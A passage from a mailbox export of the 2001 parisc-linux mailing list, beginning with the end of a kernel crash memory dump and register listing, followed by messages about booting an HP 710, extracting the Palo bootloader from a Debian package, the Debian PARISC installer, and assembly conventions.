c820 00000000 00000000 00000001 10143efc 00000040 1047cd60 00000006 00000065
c840 105ac588 00000000 00000000 105ac58b 102842c4 101541a8 00000000 105ac748
c860 00000065 105ac000 00000000 00000000 00000000 00000001 00000063 faf006cc
c880 104fd1e0 104fd1e0 00000080 00000000 105ac7c8 00000000 faf00790 0000b270
c8a0 00000020 faf006cc 00000063 101541d4 faf008d0 00000040 0000b294 102e2810
c8c0 102e2810 105ac258 00000000 105ac588 fffffff8 105ac258 105ac588 00000009
c8e0 00000001 095f0000 105ac258 10144b2c 00000000 00000000 00000000 00000000
c900 105970a0 104fd1e0 00000000 00000010 00000000 00000080 00000080 105ac588
c920 00001000 105ac608 0000b294 10144de0 faf008d0 00000001 00000063 faf006cc
c940 00000000 105ac588 7f454c46 01020103 00000000 00000000 0002000f 00000001
c960 0000e7e8 00000034 000787b0 00000210 00340020 00060028 001c001b 105ac7c8
c980 7f454c46 01020103 00000000 00000000 0003000f 00000001 00002da0 00000034
c9a0 0006a5a8 00000210 00340020 00030028 00190016 00000000 7f454c46 01020103
c9c0 00000000 00000000 0003000f 00000001 00002da0 00000034 00000000 1026c010
c9e0 00000000 00000001 40000000 00001000 00000001 00000001 0007e7b0 00000003
ca00 00001000 00078f3c 00075d78 00078f3c 105ac948 00000000 faf00790 0000b270
ca20 00000020 faf006cc 00000063 00000001 faf008d0 00000040 0000b294 102e2810
ca40 105ac258 00000000 105ac588 00000000 102842dc 10154ca0 105ac958 105ac8c8
ca60 105ac258 105ac000 0000b294 1012a300 faf008d0 00000001 00000063 faf006cc
ca80 faf00790 0000b270 00000073 40000000 00000063 00000001 faf008d0 00000040
caa0 0000b294 102e2810 105ac258 101551c8 104fd2a0 105ac910 00000080 10597640
cac0 105ac000 40002da0 00000003 00001034 00000004 00000020 00000005 00000006
cae0 00000007 40000000 00000008 10154440 00000009 0000e7e8 0000000b 00000000
cb00 000cf80f 00000006 10154480 105ac000 0000000f 40002da0 104fd2a0 00075d78
cb20 10463b20 00000000 00001802 105ac588 10024940 00000006 104fd1e0 00000002
cb40 105ac258 10463a60 00078f3c 00001000 104ee1c0 00079000 00000001 0000000f
cb60 105acb88 000000c3 00078f3c 1026c010 00079000 00000680 105acd40 1012fa50
cb80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cba0 00000001 00000000 00000002 1014a9fc 00000000 00000000 00000000 00000000
cbc0 1002c000 104fd0c0 102d4000 00000000 10286064 102f1810 102f4810 1026c010
cbe0 102f1010 00000001 1028a010 101390c4 102f1010 102d24b0 102d24b0 102d2420
cc00 104fe000 1028660c 00000000 00000002 00000000 1029cea4 0004000e 00000008
cc20 102f1810 104fe000 1028660c 1014a8e4 cccccccd 00000030 00000000 cccccccd
cc40 10286064 00000002 1023f0d0 00000007 10316d40 10284e40 00000000 00000008
cc60 ffffffff 102f4810 1026c010 1013922c 10448c00 10284e40 1028a010 102f1810
cc80 00000000 00000006 00000000 00000006 00000000 00000000 00000000 00000000
cca0 00000000 00000000 1023c9b0 1023c9ac 00000000 00000000 104ee1c0 104ec7e0
ccc0 00000077 0000001c 0f405222 00000006 00078f3c 10284e40 00000000 00000008
cce0 ffffffff 102f4810 1026c010 1016caec 10448c00 10284e40 1028a010 102f1810
cd00 00001802 00000000 00000002 00000000 00000000 105977e0 10597640 10597640
cd20 00000000 00000000 1023c9b0 10106720 00000000 00000000 105acac8 105acc10
cd40 1032bfd0 00000011 0f405222 00000006 4001ac84 104f87e0 105ac588 00000000
cd60 00000034 104f8888 00000000 00000fcc 1032bfd0 1032bfb8 00000008 cccccccd
cd80 00000001 0000b294 105ac000 00000000 105acac8 104f000f 104f8420 00000000
cda0 00000000 00000000 00000000 10106720 105acd08 105acd18 00000000 00000000
cdc0 104f0004 00000001 104fd2a0 40002da0 0000000f 105ac000 104fd2a0 10597640
cde0 00000040 00000000 00000000 00000000 105acd18 105acc88 10597640 ffffff0a
ce00 10498b00 104f6ae0 10498ba8 105acbc8 105acc10 00000000 105acd18 10597280
ce20 103035f8 105acd08 105acc10 101024a8 faf006cc 00000020 0000b270 faf00790
ce40 10498b54 10498b00 105ac000 4001a240 100474c0 0000000f 1047b620 105acbc8
ce60 105acc10 10597640 1026e384 10231fc4 102f1810 105aca40 00000000 1047e228
ce80 105ace40 100472e0 10498b00 10170fc8 10498b00 10048064 10498b00 00000000
cea0 00000000 10048064 105acbc8 101024a8 10448c00 10284e40 00000000 102f1810
cec0 10498b00 10048000 104ec8e0 00000010 00001802 00000000 10463b20 00075d78
cee0 00000006 00078f3c 0000000f 105acb00 105ace10 105acd28 100472e0 ffffff0a
cf00 10498b80 100472e0 1004e818 10025720 10498b00 faf008d0 00000001 0000b294
cf20 105ac000 10448c00 0001904d 101011f4 1042e540 00000001 00000000 00000000
cf40 00000001 104fd2a0 104ec860 00000002 105acb00 104ee1dc 105ac000 104ee1dc
cf60 104ec8a0 4001ac84 0000000f 105acb80 10048000 10066680 00000000 00000000
cf80 10048000 10048000 105acd88 105ab1e0 105acf40 100472e0 105acd88 105acc40
cfa0 100251a0 00000000 00000000 10126768 00000000 00000000 00000000 00000000
cfc0 104ee1c0 00000001 104ec8a0 104ee1c0 ffffffff 00078f3c 105ac000 104ee1dc
cfe0 104ec820 10048064 00000000 101009f8 10048000 105acdf0 10048064 10171d20
d000 10048000 10048064 105acd88 1058d068 105acd88 10048fcc 105acbc8 10048000
d020 1047c8d0 00000068 1047c8d0 10126564 00000068 10066680 00000000 00000000
d040 105acb00 00000002 104fd1e0 00000006 10024940 105ac588 0000000f 00078f3c
d060 105ab1e0 00000001 00000008 104ee1c0 00078f3c 104ec8a0 00000057 1047e228
d080 00000090 00004040 0f012ce5 00000000 00000000 00000068 03200801 007c6862
d0a0 0f012ceb 0f012ce5 10048080 1012aa90 0f012ce5 00000000 00000000 00000000
d0c0 102f4810 102f4810 1003ddfc 105976e8 00000079 104fd2a0 00000076 00000008
d0e0 00000000 00078f3c 00000018 10282494 4001ac84 104ec820 00000000 00000000
d100 10048000 00004040 10046080 105ad088 fffffff3 00000010 10026200 100653a0
d120 10463760 00008200 10292140 101292ec 00008000 00008880 00000000 00000000
d140 105976e8 00000073 fffffff4 1032e928 1032e928 105976e8 00000073 00000000
d160 00000000 102823fc 1028274c 10129570 10066680 105acd40 00000057 1047e228
d180 4001ac84 00000000 0f012ce5 00000006 00000000 10220054 03200801 0078c29f
d1a0 0f012ceb 0f012ce5 10048080 1016b814 0f012ce5 00000000 00000000 00000000
d1c0 1003ddf0 0000000c 104fd2a0 1032e928 10597640 1032e928 00000005 00000000
d1e0 105976e8 102823fc 10282724 10282494 00000070 10066680 00000057 1047e228
d200 00000090 10463a84 10025760 00000004 10046080 1002622c 10026200 10065120
d220 10463760 00000000 00000000 1016de18 00000000 00000000 00000000 00000000
d240 104fd2a0 00000002 105ad248 105ad248 105ad248 105ad248 00000001 00000000
d260 00000004 10597640 1032f0dc 101725a8 104fd2a0 1032f0f4 00000000 00000000
d280 0000051d 105ad098 00004000 00000001 10046080 1002622c 10026200 10065580
d2a0 10463760 00008040 10292140 1016dccc 00008000 000086c0 00000000 00000000
d2c0 10597640 105ad248 10597640 105ad2c8 105ad2c8 105ad2c8 00000000 10597640
d2e0 105ad248 00000001 00000000 10235490 00000000 00000000 00000000 00000000
d300 0006ff0f 10303010 10235490 10597640 105aca08 10463960 00000000 00000073
d320 00000002 104fd2a0 00000079 102826bc 102f4810 102f4810 104ec8a0 10597640
d340 00000001 10463a60 00078f3c 00000000 105977e0 102f4ba8 1016b7a4 00000073
d360 00000000 00000000 1024f800 1026c010 00000000 00000002 105ad540 101292ec
d380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d3a0 00000001 00000000 00000002 1014a9fc 00000000 00000000 00000000 00000000
d3c0 1002c000 104fd0c0 102d4000 00000000 10286064 102f1810 102f4810 1026c010
d3e0 102f1010 00000001 1028a010 101390c4 102f1010 102d24b0 102d24b0 102d2420
d400 104fe000 1028660c 00000000 00000002 00000000 1029cea4 0004000e 00000008
d420 102f1810 104fe000 1028660c 1014a8e4 cccccccd 00000030 00000000 cccccccd
d440 10286064 00000002 1023f0d0 00000007 10316d40 10284e40 00000000 00000008
d460 ffffffff 102f4810 1026c010 1013922c 10448c00 10284e40 1028a010 102f1810
d480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
d4a0 00000000 00000000 10235490 10235494 00000000 00000000 102d24b0 102d2420
d4c0 104de0e0 0000001a 48d30968 00000000 000004b4 1029cea4 0004000e 00000008
d4e0 102f1810 104fe000 1028660c 1014a8e4 cccccccd 00000030 00000000 cccccccd
d500 10286064 00000002 1023f0d0 00000007 10316d40 10284e40 00000000 00000008
d520 ffffffff 102f4810 1026c010 10106720 10448c00 10284e40 1028a010 102f1810

Kernel Fault: Code=26 regs=105ad300 (Addr=000004b4)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111
r0-3	 00000000 10303010 10235490 10597640
r4-7	 105aca08 10463960 00000000 00000073
r8-11	 00000002 104fd2a0 00000079 102826bc
r12-15	 102f4810 102f4810 104ec8a0 10597640
r16-19	 00000001 10463a60 00078f3c 00000000
r20-23	 105977e0 102f4ba8 1016b7a4 00000073
r24-27	 00000000 00000000 1024f800 1026c010
r28-31	 00000000 00000002 105ad540 101292ec
sr0-3	 00000000 00000000 00000000 00000000
sr4-7	 00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10235490 10235494
 IIR: 48d30968    ISR: 00000000  IOR: 000004b4
ORIG_R28: 102d24b0

------- =_aaaaaaaaaa0--




From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Stewart" <pdksh@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems booting
Date: Fri, 6 Apr 2001 20:04:10 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <OE449YDqSkcJse1fTvO00000b31@hotmail.com>
References: <Pine.LNX.4.20.0104062329290.4811-200000@coffeepot.matt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620008 17647 80.91.229.3 (22 Nov 2014 01:33:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:28 +0000 (UTC)
To: "Matt London" <matt@knm.yi.org>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  6 18:04:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe44.law14.hotmail.com [64.4.20.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0DD6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Apr 2001 18:04:25 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 6 Apr 2001 17:04:21 -0700
X-Originating-IP: [64.228.131.55]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 07 Apr 2001 00:04:21.0296 (UTC) FILETIME=[4C045B00:01C0BEF6]
Xref: news.gmane.org gmane.linux.ports.parisc:10702

You have a model 710 50Mhz Bushmaster. I wish you luck, the 710 has some
problems with interrupts with the SCSI controller and Lan Controller. I have
been unable to boot my 710 for a couple of weeks. It will run mkLinux but
with some problems. I wish you luck. I have been trying to address the
interrupt issues with the lan controller but I am afraid it is beyond my
ability.

Let me know how you make out. Try disabling your Parallel port in the
kernel.

----- Original Message -----
From: "Matt London" <matt@knm.yi.org>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Friday, April 06, 2001 6:39 PM
Subject: [parisc-linux] Problems booting


> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hi,
>
> I've recently been given an HP apollo Series 700 box. I'm not sure exactly
> what it is, other than that it says A1991XR on the base.
>
> Anyway, I ran across palinux (via the route of NetBSD->OpenBSD->palinux)
> (I run slackware on my x86 boxen), downloaded the iso and burnt it to
> CD. I then dropped in an NEC SCSI cdrom, and a Seagate ST3655N 500M
> drive. I have 4 sticks of RAM, in slots J12, J13, J14 and J15 (alternate
> rows starting toward the back of the machine). I'm using a serial console.
>
> When the system boots, it gets about as far as calibrating the delay loop
> and drops out with a stack dump (see attached file).
>
> I was just wondering if there's any incite into what's up with this :&)
>
> - -- Matt
>
> - ---
> Web Page:
>   http://knm.yi.org/
>   http://pkl.net/~matt/
>
> PGP Key fingerprint = 00BF 19FE D5F5 8EAD 2FD5  D102 260E 8BA7 EEE4 8D7F
> PGP Key http://knm.yi.org/matt-pgp.html
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.4 (GNU/Linux)
> Comment: For info see http://www.gnupg.org
>
> iD8DBQE6zkWkJg6Lp+7kjX8RAhzVAJ4zbUhgH+ob+G3Yh+bjnSP4tkMGJwCeNDfK
> d9JX4Uk4TOfJloJ6YenIUB0=
> =QXmq
> -----END PGP SIGNATURE-----
>




From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rod Smart <snaketails@optushome.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Palo question.
Date: Sat, 07 Apr 2001 21:45:18 +1000
Organization: Home
Lines: 22
Approved: news@gmane.org
Message-ID: <3ACEFDCD.A3F62CAA@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620008 17652 80.91.229.3 (22 Nov 2014 01:33:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  7 05:45:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rods.home.net.au (co3015855-a.fernt1.vic.optushome.com.au [203.164.43.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3753D482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Apr 2001 05:45:22 -0600 (MDT)
Original-Received: from optushome.com.au (rods.home.net.au [192.168.3.1])
	by rods.home.net.au (Postfix) with ESMTP id 11A6A62E3F
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Apr 2001 11:45:18 +0000 (Local time zone must be set--see zic manual page)
Original-Sender: yendor@rods.home.net.au
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.4.3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10703

    Hi there.

    I hear there is a new Palo version released ?

    Where can I get a copy from, the link I received from the guys in
France was for the Debian archive.

    Is there a version just in a tarball as I don't have Debian on my
own x86 system, and I cannot de-archive the latest RPM archives as I am
unable to upgrade my RPM program (wierd)

    So, I would just like the tarball of the new Palo package if it is
available please.

    After I have that, I'll be able to get back to playing with Thomas's
Kernels ;o)

    Thanks ;o)





From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo question.
Date: Sat, 7 Apr 2001 21:54:00 +1000 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104072146370.8692-100000@front.linuxcare.com.au>
References: <3ACEFDCD.A3F62CAA@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620008 17655 80.91.229.3 (22 Nov 2014 01:33:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Rod Smart <snaketails@optushome.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  7 05:54:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A935482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Apr 2001 05:54:12 -0600 (MDT)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA28982;
	Sat, 7 Apr 2001 21:54:00 +1000
In-Reply-To: <3ACEFDCD.A3F62CAA@optushome.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10704

On Sat, 7 Apr 2001, Rod Smart wrote:

>     Where can I get a copy from, the link I received from the guys in
> France was for the Debian archive.
> 
>     Is there a version just in a tarball as I don't have Debian on my
> own x86 system

debian packages are really neat in that all you need is `ar'

"ar xv <package>"

will get you a couple of tar.gz files, and it's fairly easy from there.

Alan





From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adam Di Carlo <adam@onshore.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Woody installer for PARISC
Date: 07 Apr 2001 17:22:13 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <oa4rw05rsq.fsf@arroz.fake>
References: <20010405155605.D8907@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620009 17658 80.91.229.3 (22 Nov 2014 01:33:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:29 +0000 (UTC)
Cc: debian-boot@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  7 15:21:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from arroz.onshored.com (arroz.onshored.com [216.220.101.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B6AB482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Apr 2001 15:21:55 -0600 (MDT)
Original-Received: from arroz.fake (localhost [127.0.0.1])
	by arroz.onshored.com (Postfix) with ESMTP
	id 50E0393802; Sat,  7 Apr 2001 17:22:14 -0400 (EDT)
Original-Sender: apharris@burrito.onshore.com
In-Reply-To: <20010405155605.D8907@achilles.net>
Original-Lines: 29
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:10705

"Paul J.Y. Lahaie" <pjlahaie@linuxcare.com> writes:

> Here are the changes I've made to the boot-floppies package to support
> the PARISC architecture.

Glad to hear it.  Let me know if you don't have an account on
cvs.debian.org and you want a debian-boot pserver account.  You can
crypt a username/password with my Debian PGP key (aph@debian.org) and
send it to me privately and I can create that.

> utilities/dbootstrap/main_menu.c:
> - Remove options that aren't applicable to PARISC.
>   (Make boot floppy, PCMCIA, etc..)

> utilities/dbootstrap/partition_config.c:
> - Add PALO message for partition creation.
> 
> 
> There are a few more changes I needed to make to get a working installer
> for PARISC, unfortunately some of them are because of limitations in
> the current PARISC distribution (kernel.sh was modified to not require
> a kernel .deb since we currently don't have one and the constantly
> changing kernel makes it unwieldy to build kernel .debs).

Wait a minute... you don't have a kernel nor a boot-disk?  How do
people boot?

-- 
.....Adam Di Carlo....adam@onshore.com.....<URL:http://www.onshored.com/>





From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@finlandia.infodrom.north.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Woody installer for PARISC
Date: Sat, 7 Apr 2001 23:25:39 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20010407232539.S25281@finlandia.infodrom.north.de>
References: <20010405155605.D8907@achilles.net> <oa4rw05rsq.fsf@arroz.fake>
Reply-To: Martin Schulze <joey@infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620009 17659 80.91.229.3 (22 Nov 2014 01:33:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:29 +0000 (UTC)
Cc: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>,
	debian-boot@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Adam Di Carlo <adam@onshore.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  7 15:26:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kuolema.infodrom.north.de (kuolema.Infodrom.North.DE [195.27.69.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9AEE482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Apr 2001 15:26:13 -0600 (MDT)
Original-Received: from finlandia.infodrom.north.de (finlandia.Infodrom.North.DE [195.27.69.162])
	by kuolema.infodrom.north.de (Postfix) with ESMTP
	id 2A9FE4D73B; Sat,  7 Apr 2001 23:26:00 +0200 (CEST)
Original-Received: by finlandia.infodrom.north.de (Postfix, from userid 501)
	id 4BF84FE52; Sat,  7 Apr 2001 23:25:39 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <oa4rw05rsq.fsf@arroz.fake>; from adam@onshore.com on Sat, Apr 07, 2001 at 05:22:13PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10706

Adam Di Carlo wrote:
> > There are a few more changes I needed to make to get a working installer
> > for PARISC, unfortunately some of them are because of limitations in
> > the current PARISC distribution (kernel.sh was modified to not require
> > a kernel .deb since we currently don't have one and the constantly
> > changing kernel makes it unwieldy to build kernel .debs).
> 
> Wait a minute... you don't have a kernel nor a boot-disk?  How do
> people boot?

You parsed it wrong Adam.  They don't have a .deb for a kernel, they
probably do have a kernel, though it is changing frequently.

Regards,

	Joey

-- 
No question is too silly to ask, but, of course, some are too silly
to answer.   -- Perl book




From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adam Di Carlo <adam@onshore.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Woody installer for PARISC
Date: 08 Apr 2001 05:05:05 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <oa1yr34v9a.fsf@arroz.fake>
References: <20010405155605.D8907@achilles.net> <oa4rw05rsq.fsf@arroz.fake>
	<20010407232539.S25281@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620009 17662 80.91.229.3 (22 Nov 2014 01:33:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:29 +0000 (UTC)
Cc: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>,
	debian-boot@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Martin Schulze <joey@infodrom.north.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 03:04:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from arroz.onshored.com (arroz.onshored.com [216.220.101.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id C88D8482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 03:04:18 -0600 (MDT)
Original-Received: from arroz.fake (localhost [127.0.0.1])
	by arroz.onshored.com (Postfix) with ESMTP
	id 45A5293802; Sun,  8 Apr 2001 05:05:06 -0400 (EDT)
Original-Sender: apharris@burrito.onshore.com
In-Reply-To: <20010407232539.S25281@finlandia.infodrom.north.de>
Original-Lines: 13
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:10707

Martin Schulze <joey@finlandia.infodrom.north.de> writes:

> You parsed it wrong Adam.  They don't have a .deb for a kernel, they
> probably do have a kernel, though it is changing frequently.

Relieved to hear that.  

Sounds like they should put their effort in debian-installer then?  If
they don't even have a basic toolchain and kernel, and boot-floppies
will be obsoleted by end of year, is it worth it?

-- 
.....Adam Di Carlo....adam@onshore.com.....<URL:http://www.onshored.com/>





From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Wragg <dpw@doc.ic.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Assembly language conventions
Date: 08 Apr 2001 12:25:50 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <y7rvgofo9wx.fsf@sytry.doc.ic.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620010 17666 80.91.229.3 (22 Nov 2014 01:33:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 06:25:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from duck.doc.ic.ac.uk (duck.doc.ic.ac.uk [146.169.1.46])
	by dsl2.external.hp.com (Postfix) with ESMTP id 749BF482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 06:25:55 -0600 (MDT)
Original-Received: from sytry.doc.ic.ac.uk ([146.169.5.24] ident=root)
	by duck.doc.ic.ac.uk with esmtp (Exim 3.16 #7)
	id 14mEGQ-0004P9-00
	for parisc-linux@lists.parisc-linux.org; Sun, 08 Apr 2001 13:25:54 +0100
Original-Received: (from dpw@localhost)
	by sytry.doc.ic.ac.uk (8.9.3/8.8.8) id NAA25225;
	Sun, 8 Apr 2001 13:25:50 +0100
X-Authentication-Warning: sytry.doc.ic.ac.uk: dpw set sender to dpw@sytry.doc.ic.ac.uk using -f
Original-Lines: 12
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Bryce Canyon)
Original-Sender: dpw@sytry.doc.ic.ac.uk
Xref: news.gmane.org gmane.linux.ports.parisc:10708

Where should I look for details of the assembly language conventions
used on linux/PARISC (calling conventions, register uses, sequences
for putting a 32-bit constant into a register, PIC conventions, etc.)?

The nearest thing I have found is
<http://devresource.hp.com/STK/toc_ref_details.html#32runtime11>, but
I'm not sure how much of that carries over to the Linux port.  If
there is an appropriate document, could a link be added to the
technical documents web page.


David Wragg




From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Assembly language conventions
Date: Sun, 8 Apr 2001 23:24:56 +1000 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104082301320.7887-100000@front.linuxcare.com.au>
References: <y7rvgofo9wx.fsf@sytry.doc.ic.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620010 17669 80.91.229.3 (22 Nov 2014 01:33:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Wragg <dpw@doc.ic.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 07:25:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0729482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 07:25:17 -0600 (MDT)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA10496;
	Sun, 8 Apr 2001 23:24:56 +1000
In-Reply-To: <y7rvgofo9wx.fsf@sytry.doc.ic.ac.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10709

